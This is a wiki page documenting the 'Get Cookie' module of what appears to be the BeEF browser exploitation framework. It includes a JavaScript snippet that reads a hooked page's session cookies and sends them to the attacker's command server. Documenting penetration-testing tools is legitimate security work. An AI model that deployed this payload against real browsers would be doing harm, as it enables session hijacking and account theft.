Skip to content

Module: Get Cookie

Nbblrr edited this page Dec 20, 2012 · 2 revisions

##Summary

  • Objective: This module will retrieve the session cookie from the current page.
  • Date: ???
  • Authors: bcoles
  • Browsers: All
  • Code

##Internal Working

This module just gather the cookies for this page using the document.cookie function :

beef.execute(function() {
    beef.net.send("<%= @command_url %>", <%= @command_id %>, 'cookie='+document.cookie);
});

##Feedback

Clone this wiki locally